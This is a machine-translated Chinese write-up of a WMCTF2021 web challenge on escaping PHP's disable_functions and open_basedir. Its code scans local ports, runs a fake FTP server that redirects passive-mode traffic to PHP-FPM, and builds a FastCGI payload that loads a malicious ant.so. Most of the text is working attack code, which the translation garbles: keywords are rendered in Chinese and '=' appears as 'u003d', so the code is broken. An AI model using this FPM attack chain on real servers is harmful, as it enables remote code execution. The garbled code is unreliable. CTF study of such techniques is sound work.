[WMCTF2021]让 PHP 再一次伟大
前言 这也是很久以前WMCTF2021的一个Web话题。当时没有头绪,后来也没有再出现。今晚我从赵总的博客中学到了很多东西。这篇文章只是跟着赵的博客一波转载,记录下来,仅此而已。 主题环境 题目本身是给shell的,但是有很多限制,包括disable_functions,open_basedir,flag文件是700等。 并且没有出网,流量被nginx转发到内网。 考虑到是 nginx + PHP
前言
这也是很久以前WMCTF2021的一个Web话题。当时没有头绪,后来也没有再出现。今晚我从赵总的博客中学到了很多东西。这篇文章只是跟着赵的博客一波转载,记录下来,仅此而已。
主题环境
题目本身是给shell的,但是有很多限制,包括disable_functions,open_basedir,flag文件是700等。
并且没有出网,流量被nginx转发到内网。
考虑到是 nginx + PHP FPM,正常情况下想到用 FTP 被动模式攻击 FPM 来恶意加载 so,导致 disable_functions 绕过。但是,之前的目标是在网络之外。这里没有出网,导致了姿势的变化。需要使用PHP在目标本地启动一个FTP,将流量转发到FPM来实现攻击。
信息采集
这也是我第一次见到你。我从来不知道只有一个 phpinfo 可以收集 disable_functions 等等。原来也可以是这样的:
var_dump(get_cfg_var("禁用_functions"));
var_dump(get_cfg_var("open_basedir"));
var_dump(ini_get_all());
我们可以收集到相应的信息,发现ban丢失了很多东西,Curl和Socket Client都不能用了。所以我们只能想办法使用FTP的被动模式。
然后,想办法知道FPM所在的端口。
这里也学习了一波php扫描本地开放端口的姿势:
for($iu003d0;$i<65535;$i++) {
$tu003dstream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
if($ee2 u003du003du003d "地址已被使用") {
var_dump($i);
}
}
for($iu003d0;$i<65535;$i++) {
$tu003dfile_get_contents('http://127.0.0.1:'.$i);
if(!strpos(error_get_last()['message'], "连接被拒绝")) {
var_dump($i);
}
}
学习了,学习了。
扫描内网后,我们知道FPM在11415端口,下一步就是进一步利用它。
PHP的FTP服务器
使用Ph0t1n1a的Payload,用起来很舒服(笑):
$socket u003d 流_socket_server("tcp://0.0.0.0:46819", $errno, $errstr);
if (!$socket) {
echo "$errstr ($errno)<br />\n";
} 其他 {
而 ($conn u003d 流_socket_accept($socket)) {
fwrite($conn, "210 假 FTP\n");
$line u003d fgets($conn);
回声 $line; // 用户
fwrite($conn, "230 登录成功\n");
$line u003d fgets($conn);
回声 $line; // 类型
fwrite($conn, "200 xx\n");
$line u003d fgets($conn);
回声 $line; // 尺寸
fwrite($conn, "550 xx\n");
$line u003d fgets($conn);
回声 $line; // EPSV
fwrite($conn, "500 wtf\n");
$line u003d fgets($conn);
回声 $line; // PASV
// $ip u003d '192.168.1.4';
$ip u003d '127.0.0.1';
$端口 u003d 11451;
$porth u003d 楼层($port / 256);
$portl u003d $port % 256;
fwrite($conn, "227 进入被动模式。".str_replace('.',',',$ip).",$porth,$portl\n");
$line u003d fgets($conn);
回声 $line; // 店铺
fwrite($conn, "125 GOGOGO!\n");
睡眠(1);
fwrite($conn, "226 谢谢!\n");
fclose($conn);
}
fclose($socket);
}
要加载的恶意so也来自其他团队。按照蚁剑妖这么修改,当然像蓝帽子一样写个c编译一下也是正常的。但这也像是向别人学习的so(也很舒服hhh)。
生成的payload是一样的:
<?php
类 FCGIClient
{
常量版本_1 u003d 1;
常量开始_REQUEST u003d 1;
常量中止_REQUEST u003d 2;
常量 END_REQUEST u003d 3;
常量参数 u003d 4;
常量标准输入 u003d 5;
常量标准输出 u003d 6;
常量 STDERR u003d 7;
常量数据 u003d 8;
常量 GET_VALUES u003d 9;
常量 GET_VALUES_RESULT u003d 10;
常量未知_TYPE u003d 11;
常量 MAXTYPE u003d self::UNKNOWN_TYPE;
常量响应 u003d 1;
常量授权者 u003d 2;
常量过滤器 u003d 3;
常量请求_COMPLETE u003d 0;
常量 CANT_MPX_CONN u003d 1;
常量过载 u003d 2;
常量未知_角色 u003d 3;
常量 MAX_CONNS u003d 'MAX_CONNS';
常量 MAX_REQS u003d 'MAX_REQS';
常量 MPXS_CONNS u003d 'MPXS_CONNS';
常量头_LEN u003d 8;
/**
* 套接字
* @var 资源
*/
私人 $_sock u003d null;
/**
* 主机
* @var 字符串
*/
私人 $_host u003d null;
/**
* 端口
* @var 整数
*/
私人 $_port u003d null;
/**
* 保持活力
* @var 布尔值
*/
私人 $_keepAlive u003d 假;
/**
* 构造函数
*
* @param String $host FastCGI 应用程序的主机
* @param Integer $port FastCGI 应用程序的端口
*/
public function __construct($host, $port u003d 9000) // 和端口的默认值,仅适用于 unixdomain 套接字
{
$this->_host u003d $host;
$this->_port u003d $port;
}
/**
* 定义 FastCGI 应用程序是否应该保持连接
* 在请求结束时存活
*
* @param Boolean $b 如果连接应该保持活动状态,则为 true,否则为 false
*/
公共函数 setKeepAlive($b)
{
$this->_keepAlive u003d (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* 获取存活状态
*
* @return Boolean 如果连接应该保持活动状态,则为 true,否则为 false
*/
公共函数 getKeepAlive()
{
返回 $this->_keepAlive;
}
/**
* 创建到 FastCGI 应用程序的连接
*/
私有函数连接()
{
if (!$this->_sock) {
//$this->_sock u003d fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock u003d 流_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('无法连接到 FastCGI 应用程序');
}
}
}
/**
* 构建一个 FastCGI 数据包
*
* @param Integer $type 数据包类型
* @param String $content 包的内容
* @param 整数 $requestId RequestId
*/
私有函数 buildPacket($type, $content, $requestId u003d 1)
{
$clen u003d strlen($content);
返回 chr(self::VERSION_1) /* 版本 */
。 chr($type) /* 类型 */
。 chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
。 chr($requestId & 0xFF) /* requestIdB0 */
。 chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
。 chr($clen & 0xFF) /* contentLengthB0 */
。 chr(0) /* 填充长度 */
。 chr(0) /* 保留 */
。 $内容; /* 内容 */
}
/**
* 构建一个 FastCGI 名称值对
*
* @param String $name 名称
* @param String $value 值
* @return String FastCGI 名称值对
*/
私有函数 buildNvpair($name, $value)
{
$nlen u003d strlen($name);
$value u003d strlen($value);
如果 ($nlen < 128) {
/* 名称长度B0 */
$nvpair u003d chr($nlen);
} 其他 {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair u003d chr(($nlen >> 24) | 0x80) 。 chr(($nlen >> 16) & 0xFF) 。 chr(($nlen >> 8) & 0xFF) 。 chr($nlen & 0xFF);
}
if ($value < 128) {
/* valueLengthB0 */
$nvpair .u003d chr($vlen);
} 其他 {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .u003d chr(($value >> 24) | 0x80) 。 chr(($value >> 16) & 0xFF) 。 chr(($value >> 8) & 0xFF) 。 chr($值 & 0xFF);
}
/* 姓名和权限 */
返回 $nvpair 。 $名称。 $价值;
}
/**
* 读取一组 FastCGI 名称值对
*
* @param String $data 包含一组 FastCGI NVPair 的数据
* @return NVPair 数组
*/
私有函数 readNvpair($data, $length u003d null)
{
$数组 u003d 数组();
if ($length u003du003du003d null) {
$length u003d strlen($data);
}
$p u003d 0;
while ($p !u003d $length) {
$nlen u003d 单词($data{$p++});
如果 ($nlen >u003d 128) {
$nlen u003d ($nlen & 0x7F << 24);
$nlen |u003d (word($data{$p++}) << 16);
$nlen |u003d (字($data{$p++}) << 8);
$nlen |u003d (字($data{$p++}));
}
$vlen u003d word($data{$p++});
if ($value >u003d 128) {
$value u003d ($nlen & 0x7F << 24);
$vlen |u003d (word($data{$p++}) << 16);
$vlen |u003d (word($data{$p++}) << 8);
$vlen |u003d (字($data{$p++}));
}
$array[substr($data, $p, $nlen)] u003d substr($data, $p+$nlen, $vlen);
$p +u003d ($nlen + $value);
}
返回$数组;
}
/**
* 解码一个 FastCGI 数据包
*
* @param String $data 包含所有数据包的字符串
* @return 数组
*/
私有函数 decodePacketHeader($data)
{
$ret u003d 数组();
$ret['version'] u003d word($data{0});
$ret['type'] u003d ord($data{1});
$ret['requestId'] u003d (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] u003d (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] u003d ord($data{6});
$ret['保留'] u003d ord($data{7});
返回 $ret;
}
/**
* 读取一个 FastCGI 数据包
*
* @return 数组
*/
私有函数 readPacket()
{
if ($packet u003d fread($this->_sock, self::HEADER_LEN)) {
$resp u003d $this->decodePacketHeader($packet);
$resp['内容'] u003d '';
if ($resp['contentLength']) {
$len u003d $resp['contentLength'];
while ($len && $bufu003dfread($this->_sock, $len)) {
$len -u003d strlen($buf);
$resp['内容'] .u003d $buf;
}
}
if ($resp['paddingLength']) {
$bufu003dfread($this->_sock, $resp['paddingLength']);
}
返回 $resp;
} 其他 {
返回假;
}
}
/**
* 获取有关 FastCGI 应用程序的信息
*
* @param array $requestedInfo 要检索的信息
* @return 数组
*/
公共函数获取值(数组 $requested 信息)
{
$this->connect();
$请求 u003d '';
foreach ($requestedInfo 作为 $info) {
$request .u003d $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp u003d $this->readPacket();
if ($resp['type'] u003du003d self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} 其他 {
throw new Exception('意外的响应类型,期待 GET_VALUES_RESULT');
}
}
/**
* 执行对 FastCGI 应用程序的请求
*
* @param array $params 参数数组
* @param String $stdin 内容
* @return 字符串
*/
公共函数请求(数组 $params,$stdin)
{
$响应 u003d '';
// $this->connect();
$request u003d $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0 ), 5));
$paramsRequest u003d '';
foreach ($params as $key u003d> $value) {
$paramsRequest .u003d $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .u003d $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .u003d $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .u003d $this->buildPacket(self::STDIN, $stdin);
}
$request .u003d $this->buildPacket(self::STDIN, '');
// 输出构造的请求
返回 (urlencode($request));
}
}
// php5
// 如果ssrf生成payload,这里没关系
$client u003d new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$SCRIPT_FILENAME u003d '/var/www/html/index.php';
$SCRIPT_NAME u003d '/'.basename($SCRIPT_FILENAME);
// 获取参数
$REQUEST_URI u003d $SCRIPT_NAME;
// POST 参数
$内容u003d'';
// 设置 php_value 利用 php://input 执行代码
// $PHP_ADMIN_VALUE u003d "允许_url_includeu003dOn\nopen_basediru003d/\nauto_prepend_fileu003dphp://input";
// 设置php_value 加载恶意so文件并将so文件上传到/var/www/html或其他目录
$PHP_ADMIN_VALUE u003d "扩展_dir u003d /tmp\nextension u003d ant.so\n";
$res u003d $client->request(
数组(
'GATEWAY_INTERFACE' u003d> 'FastCGI/1.0',
'REQUEST_METHOD' u003d> 'POST',
'SCRIPT_FILENAME' u003d> $SCRIPT_FILENAME,
'SCRIPT_NAME' u003d> $SCRIPT_NAME,
'REQUEST_URI' u003d> $REQUEST_URI,
'PHP_ADMIN_VALUE' u003d> $PHP_ADMIN_VALUE,
'SERVER_SOFTWARE' u003d> 'php/fastcgi 客户端',
'REMOTE_ADDR' u003d> '127.0.0.1',
'远程_PORT' u003d> '9985',
'SERVER_ADDR' u003d> '127.0.0.1',
'SERVER_PORT' u003d> '80',
'服务器\名称' u003d> '本地主机',
'服务器_协议' u003d> 'HTTP/1.1',
'内容\类型' u003d> '应用程序/x-www-form-urlencoded',
'内容_长度' u003d> strlen($content),
),
$内容
);
// 这次不用再编码了
echo(str_replace("%2B", "+", ($res)));
将生成的有效载荷放入:
$payloadu003durldecode('%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01% 9E%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%0B%0ASCRIPT_NAME%2Findex.php%0B% 0AREQUEST_URI%2Findex.php%0F%28PHP_ADMIN_VALUEextension_dir+%3D+%2Ftmp%0Aextension+%3D+aant.so%0A%0F%11SERVER_SOFTWAREphp%2Ffastcgiclient%0B%09REMOTE_ADDR127.0.0.1% 0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTENT_TYPEapplication%2Fx-www-form- urlencoded%0E%01CONTENT_LENGTH0%01%04%00%01%00%00%00%00%01%05%00%01%00%00%00%00');
文件_put_contents('ftp://127.0.0.1:46819/aaa',$payload);
下一步就是上传这个ant.so,也是跟赵总学的。精彩的!
将恶意so上传到/tmp/ant.so后,就可以开始攻击了。
先启动上面的FTP服务器:
(POST 数据是执行 FTP 的 PHP 代码)
然后发送有效载荷:
这样,ant.so就加载成功了。 Ant.so 用于调用 antsystem("qwq");写入文件/tmp/xxxxxx的命令会被执行,然后将结果写入/tmp/yyyyyy:
更多推荐
所有评论(0)